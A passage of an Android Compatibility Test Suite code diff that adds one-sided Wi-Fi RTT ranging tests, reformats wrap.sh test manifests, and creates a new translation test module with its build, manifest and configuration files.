+        cred.getSimCredential().setImsi("1234*");
+        cred.getSimCredential().setEapType(EAP_SIM);
+        cred.setCaCertificate(null);
+        cred.setClientCertificateChain(null);
+        cred.setClientPrivateKey(null);
+        return cred;
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index be8f4e9..5a3730a 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -31,7 +31,6 @@
 import android.os.Handler;
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
-import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -56,6 +55,12 @@
     // wait for network selection and connection finish
     private static final int WAIT_FOR_CONNECTION_FINISH_MS = 30_000;
 
+    // Interval between failure scans
+    private static final int INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS = 5_000;
+
+    // 5GHz Frequency band
+    private static final int FREQUENCY_OF_5GHZ_BAND_IN_MHZ = 5_000;
+
     protected WifiRttManager mWifiRttManager;
     protected WifiManager mWifiManager;
     private LocationManager mLocationManager;
@@ -230,7 +235,7 @@
      *
      * @param numScanRetries Maximum number of scans retries (in addition to first scan).
      */
-    protected ScanResult scanForTestAp(int numScanRetries)
+    protected ScanResult scanForTest11mcCapableAp(int numScanRetries)
             throws InterruptedException {
         int scanCount = 0;
         ScanResult bestTestAp = null;
@@ -243,10 +248,45 @@
                     bestTestAp = scanResult;
                 }
             }
-
+            if (bestTestAp == null) {
+                // Ongoing connection may cause scan failure, wait for a while before next scan.
+                Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+            }
             scanCount++;
         }
+        return bestTestAp;
+    }
 
+    /**
+     * Start a scan and return a test AP which does NOT support IEEE 802.11mc, with a BSS in the
+     * 5GHz band, and which has the highest RSSI. Will perform N (parameterized) scans and get
+     * the best AP across all scan results.
+     *
+     * Returns null if test AP is not found in the specified number of scans.
+     *
+     * @param numScanRetries Maximum number of scans retries (in addition to first scan).
+     */
+    protected ScanResult scanForTestNon11mcCapableAp(int numScanRetries)
+            throws InterruptedException {
+        int scanCount = 0;
+        ScanResult bestTestAp = null;
+        while (scanCount <= numScanRetries) {
+            for (ScanResult scanResult : scanAps()) {
+                // Ensure using a 5GHz or greater channel
+                if (scanResult.is80211mcResponder()
+                        || scanResult.centerFreq0 < FREQUENCY_OF_5GHZ_BAND_IN_MHZ) {
+                    continue;
+                }
+                if (bestTestAp == null || scanResult.level > bestTestAp.level) {
+                    bestTestAp = scanResult;
+                }
+            }
+            if (bestTestAp == null) {
+                // Ongoing connection may cause scan failure, wait for a while before next scan.
+                Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+            }
+            scanCount++;
+        }
         return bestTestAp;
     }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index cfd6448..9d17e8c 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,8 @@
 import android.net.wifi.rtt.ResponderLocation;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -51,6 +53,9 @@
     // Maximum variation from the average measurement (measures consistency)
     private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 2000;
 
+    // Maximum failure rate of one-sided RTT measurements (percentage)
+    private static final int MAX_NON11MC_FAILURE_RATE_PERCENT = 40;
+
     // Minimum valid RSSI value
     private static final int MIN_VALID_RSSI = -100;
 
@@ -68,19 +73,25 @@
      *   - Failure ratio < threshold (constant)
      *   - Result margin < threshold (constant)
      */
-    public void testRangingToTestAp() throws InterruptedException {
+    public void testRangingToTest11mcAp() throws InterruptedException {
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
 
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
 
         // Perform RTT operations
-        RangingRequest request = new RangingRequest.Builder().addAccessPoint(testAp).build();
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addAccessPoint(testAp);
+        if (BuildCompat.isAtLeastS()) {
+            builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        }
+        RangingRequest request = builder.build();
+
         List<RangingResult> allResults = new ArrayList<>();
         int numFailures = 0;
         int distanceSum = 0;
@@ -116,6 +127,16 @@
             int status = result.getStatus();
             statuses[i] = status;
             if (status == RangingResult.STATUS_SUCCESS) {
+                if (BuildCompat.isAtLeastS()) {
+                    assertEquals(
+                            "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
+                                    + "iteration "
+                                    + i,
+                            result.getNumAttemptedMeasurements(),
+                            RangingRequest.getMaxRttBurstSize());
+                    assertTrue("Wi-Fi RTT results: should be a 802.11MC measurement",
+                            result.is80211mcMeasurement());
+                }
                 distanceSum += result.getDistanceMm();
                 if (i == 0) {
                     distanceMin = result.getDistanceMm();
@@ -198,23 +219,29 @@
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
 
         RangingRequest.Builder builder = new RangingRequest.Builder();
-        for (int i = 0; i < RangingRequest.getMaxPeers() - 2; ++i) {
-            builder.addAccessPoint(testAp);
-        }
-
         List<ScanResult> scanResults = new ArrayList<>();
-        scanResults.add(testAp);
-        scanResults.add(testAp);
-        scanResults.add(testAp);
-
+        for (int i = 0; i < RangingRequest.getMaxPeers() - 2; ++i) {
+            scanResults.add(testAp);
+        }
         builder.addAccessPoints(scanResults);
 
+        ScanResult testApNon80211mc = null;
+        if (BuildCompat.isAtLeastS()) {
+            testApNon80211mc = scanForTestNon11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        }
+        if (testApNon80211mc == null) {
+            builder.addAccessPoints(List.of(testAp, testAp, testAp));
+        } else {
+            builder.addNon80211mcCapableAccessPoints(List.of(testApNon80211mc, testApNon80211mc,
+                    testApNon80211mc));
+        }
+
         try {
             mWifiRttManager.startRanging(builder.build(), mExecutor, new ResultCallback());
         } catch (IllegalArgumentException e) {
@@ -233,7 +260,7 @@
             return;
         }
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
@@ -416,4 +443,175 @@
         assertNotNull("Wi-Fi RTT results: null results", rangingResults);
         assertEquals("Invalid peerHandle should return 0 result", 0, rangingResults.size());
     }
+
+    /**
+     * Test Wi-Fi One-sided RTT ranging operation:
+     * - Scan for visible APs for the test AP (which do not support IEEE 802.11mc) and are operating
+     * - in the 5GHz band.
+     * - Perform N (constant) RTT operations
+     * - Remove outliers while insuring greater than 50% of the results still remain
+     * - Validate:
+     *   - Failure ratio < threshold (constant)
+     *   - Result margin < threshold (constant)
+     */
+    public void testRangingToTestNon11mcAp() throws InterruptedException {
+        if (!shouldTestWifiRtt(getContext()) || !BuildCompat.isAtLeastS()) {
+            return;
+        }
+
+        // Scan for Non-IEEE 802.11mc supporting APs
+        ScanResult testAp = scanForTestNon11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        assertNotNull(
+                "Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+                        + " your test setup includes them!", testAp);
+
+        // Perform RTT operations
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addNon80211mcCapableAccessPoint(testAp);
+        builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        RangingRequest request = builder.build();
+
+        List<RangingResult> allResults = new ArrayList<>();
+        int numFailures = 0;
+        int distanceSum = 0;
+        int distanceMin = 0;
+        int distanceMax = 0;
+        int[] statuses = new int[NUM_OF_RTT_ITERATIONS];
+        int[] distanceMms = new int[NUM_OF_RTT_ITERATIONS];
+        boolean[] distanceInclusionMap = new boolean[NUM_OF_RTT_ITERATIONS];
+        int[] distanceStdDevMms = new int[NUM_OF_RTT_ITERATIONS];
+        int[] rssis = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numAttempted = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numSuccessful = new int[NUM_OF_RTT_ITERATIONS];
+        long[] timestampsMs = new long[NUM_OF_RTT_ITERATIONS];
+        byte[] lastLci = null;
+        byte[] lastLcr = null;
+        for (int i = 0; i < NUM_OF_RTT_ITERATIONS; ++i) {
+            ResultCallback callback = new ResultCallback();
+            mWifiRttManager.startRanging(request, mExecutor, callback);
+            assertTrue("Wi-Fi RTT results: no callback on iteration " + i,
+                    callback.waitForCallback());
+
+            List<RangingResult> currentResults = callback.getResults();
+            assertNotNull(
+                    "Wi-Fi RTT results: null results (onRangingFailure) on iteration " + i,
+                    currentResults);
+            assertEquals(
+                    "Wi-Fi RTT results: unexpected # of results (expect 1) on iteration " + i,
+                    1, currentResults.size());
+            RangingResult result = currentResults.get(0);
+            assertEquals(
+                    "Wi-Fi RTT results: invalid result (wrong BSSID) entry on iteration " + i,
+                    result.getMacAddress().toString(), testAp.BSSID);
+
+            assertNull(
+                    "Wi-Fi RTT results: invalid result (non-null PeerHandle) entry on iteration "
+                            + i, result.getPeerHandle());
+
+            allResults.add(result);
+            int status = result.getStatus();
+            statuses[i] = status;
+            if (status == RangingResult.STATUS_SUCCESS) {
+                assertFalse("Wi-Fi RTT results: should not be a 802.11MC measurement",
+                        result.is80211mcMeasurement());
+                distanceSum += result.getDistanceMm();
+
+                assertTrue("Wi-Fi RTT results: invalid RSSI on iteration " + i,
+                        result.getRssi() >= MIN_VALID_RSSI);
+
+                distanceMms[i - numFailures] = result.getDistanceMm();
+                distanceStdDevMms[i - numFailures] = result.getDistanceStdDevMm();
+                rssis[i - numFailures] = result.getRssi();
+                // For one-sided RTT the number of packets attempted in a burst is not available,
+                // So we set the result to be the same as used in the request.
+                numAttempted[i - numFailures] = request.getRttBurstSize();
+                numSuccessful[i - numFailures] = result.getNumSuccessfulMeasurements();
+                timestampsMs[i - numFailures] = result.getRangingTimestampMillis();
+
+                byte[] currentLci = result.getLci();
+                byte[] currentLcr = result.getLcr();
+                if (i - numFailures > 0) {
+                    assertTrue("Wi-Fi RTT results: invalid result (LCI mismatch) on iteration " + i,
+                            Arrays.equals(currentLci, lastLci));
+                    assertTrue("Wi-Fi RTT results: invalid result (LCR mismatch) on iteration " + i,
+                            Arrays.equals(currentLcr, lastLcr));
+                }
+                lastLci = currentLci;
+                lastLcr = currentLcr;
+            } else {
+                numFailures++;
+            }
+            // Sleep a while to avoid stress AP.
+            Thread.sleep(intervalMs);
+        }
+        // Save results to log
+        int numGoodResults = NUM_OF_RTT_ITERATIONS - numFailures;
+        DeviceReportLog reportLog = new DeviceReportLog(TAG, "testRangingToTestAp");
+        reportLog.addValues("status_codes", statuses, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_mm", Arrays.copyOf(distanceMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_stddev_mm",
+                Arrays.copyOf(distanceStdDevMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("rssi_dbm", Arrays.copyOf(rssis, numGoodResults),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        reportLog.addValues("num_attempted", Arrays.copyOf(numAttempted, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("num_successful", Arrays.copyOf(numSuccessful, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("timestamps", Arrays.copyOf(timestampsMs, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        // Analyze results
+        assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
+                        + ", ITERATIONS="
+                        + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
+                        + ", AP SSID=" + testAp.SSID,
+                numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+
+        if (numFailures != NUM_OF_RTT_ITERATIONS) {
+            // Calculate an initial average using all measurements to determine distance outliers
+            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+            // Now figure out the distance outliers and mark them in the distance inclusion map
+            int validDistances = 0;
+            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                if (distanceMms[i] - MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM < distanceAvg) {
+                    // Distances that are in range for the distribution are included in the map
+                    distanceInclusionMap[i] = true;
+                    validDistances++;
+                } else {
+                    // Distances that are out of range for the distribution are excluded in the map
+                    distanceInclusionMap[i] = false;
+                }
+            }
+
+            assertTrue("After fails+outlier removal greater that 50% distances must remain: " +
+                    NUM_OF_RTT_ITERATIONS / 2, validDistances > NUM_OF_RTT_ITERATIONS / 2);
+
+            // Remove the distance outliers and find the new average, min and max.
+            distanceSum = 0;
+            distanceMax = Integer.MIN_VALUE;
+            distanceMin = Integer.MAX_VALUE;
+            for (int i = 0; i < (NUM_OF_RTT_ITERATIONS - numFailures); i++) {
+                if (distanceInclusionMap[i]) {
+                    distanceSum += distanceMms[i];
+                    distanceMin = Math.min(distanceMin, distanceMms[i]);
+                    distanceMax = Math.max(distanceMax, distanceMms[i]);
+                }
+            }
+            distanceAvg = (double) distanceSum / validDistances;
+            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                            + (distanceMax - distanceAvg),
+                    (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                            + (distanceAvg - distanceMin),
+                    (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            for (int i = 0; i < numGoodResults; ++i) {
+                assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+                assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+            }
+        }
+    }
 }
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
index 927f1ef..c42ec94 100644
--- a/tests/tests/wrap/nowrap/AndroidManifest.xml
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.nowrap.cts">
+     package="android.wrap.nowrap.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="false"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.nowrap.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.nowrap.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
index b68aefb..aed6388 100644
--- a/tests/tests/wrap/wrap_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_debug.cts">
+     package="android.wrap.wrap_debug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="true"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_debug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_debug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index d00194b..d52119a 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -16,25 +16,26 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_debug_malloc_debug.cts">
+     package="android.wrap.wrap_debug_malloc_debug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
-    <application android:debuggable="true" android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
-        <activity android:name="android.wrap.WrapActivity" >
+    <application android:debuggable="true"
+         android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="true"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
index 9504883..b638726 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -16,25 +16,25 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wrap.wrap_nodebug.cts">
+     package="android.wrap.wrap_nodebug.cts">
 
     <!-- Ensure that wrap.sh is extracted. -->
     <application android:extractNativeLibs="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
-        <activity android:name="android.wrap.WrapActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <meta-data android:name="android.wrap.cts.expext_env"
+             android:value="false"/>
+        <activity android:name="android.wrap.WrapActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for wrap.sh"
-        android:targetPackage="android.wrap.wrap_nodebug.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for wrap.sh"
+         android:targetPackage="android.wrap.wrap_nodebug.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/translation/Android.bp b/tests/translation/Android.bp
new file mode 100644
index 0000000..d6c2886
--- /dev/null
+++ b/tests/translation/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsTranslationTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: ["android.test.base"],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "androidx.test.ext.junit",
+        "testng",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "30",
+}
diff --git a/tests/translation/AndroidManifest.xml b/tests/translation/AndroidManifest.xml
new file mode 100644
index 0000000..c8fe37e
--- /dev/null
+++ b/tests/translation/AndroidManifest.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.translation.cts">
+
+    <application android:label="Translation TestCase">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".SimpleActivity"
+                  android:label="SimpleActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name=".CtsTranslationService"
+                 android:label="CtsTranslationService"
+                 android:permission="android.permission.BIND_TRANSLATION_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.translation.TranslationService"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.translation_service"
+                android:resource="@xml/translation_config">
+            </meta-data>
+        </service>
+        <service android:name=".CtsContentCaptureService"
+                 android:label="CtsContentCaptureService"
+                 android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.contentcapture.ContentCaptureService"/>
+            </intent-filter>
+        </service>
+
+        <!-- TODO(b/184617863): move to its own apk -->
+        <service android:name=".CtsTestIme"
+                 android:label="Test IME"
+                 android:permission="android.permission.BIND_INPUT_METHOD"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.view.InputMethod"/>
+            </intent-filter>
+            <meta-data android:name="android.view.im"
+                       android:resource="@xml/simple_ime"/>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.translation.cts"
+                     android:label="CTS tests of android.translation">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/translation/AndroidTest.xml b/tests/translation/AndroidTest.xml
new file mode 100644
index 0000000..f83ed7f
--- /dev/null
+++ b/tests/translation/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Translation CTS">
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+  <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsTranslationTestCases.apk" />
+  </target_preparer>
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+    <option name="package" value="android.translation.cts" />
+    <option name="runtime-hint" value="1m" />
+    <option name="hidden-api-checks" value="false" />
+    <option name="isolated-storage" value="false" />
+  </test>
+</configuration>
diff --git a/tests/translation/OWNERS b/tests/translation/OWNERS
new file mode 100644
index 0000000..a1e663a
--- /dev/null
+++ b/tests/translation/OWNERS
@@ -0,0 +1,8 @@
+# Bug component: 994311
+
+adamhe@google.com
+augale@google.com
+joannechung@google.com
+lpeter@google.com
+svetoslavganov@google.com
+tymtsai@google.com
diff --git a/tests/translation/TEST_MAPPING b/tests/translation/TEST_MAPPING
new file mode 100644
index 0000000..4090b4a
--- /dev/null
+++ b/tests/translation/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTranslationTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/translation/res/layout/simple_activity.xml b/tests/translation/res/layout/simple_activity.xml
new file mode 100644
index 0000000..76a7184
--- /dev/null
+++ b/tests/translation/res/layout/simple_activity.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/root_view"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+      <TextView
+          android:id="@+id/hello"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:textSize="16sp"
+          android:text="Hello World" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/translation/res/xml/simple_ime.xml b/tests/translation/res/xml/simple_ime.xml
new file mode 100644
index 0000000..bcea84e
--- /dev/null
+++ b/tests/translation/res/xml/simple_ime.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
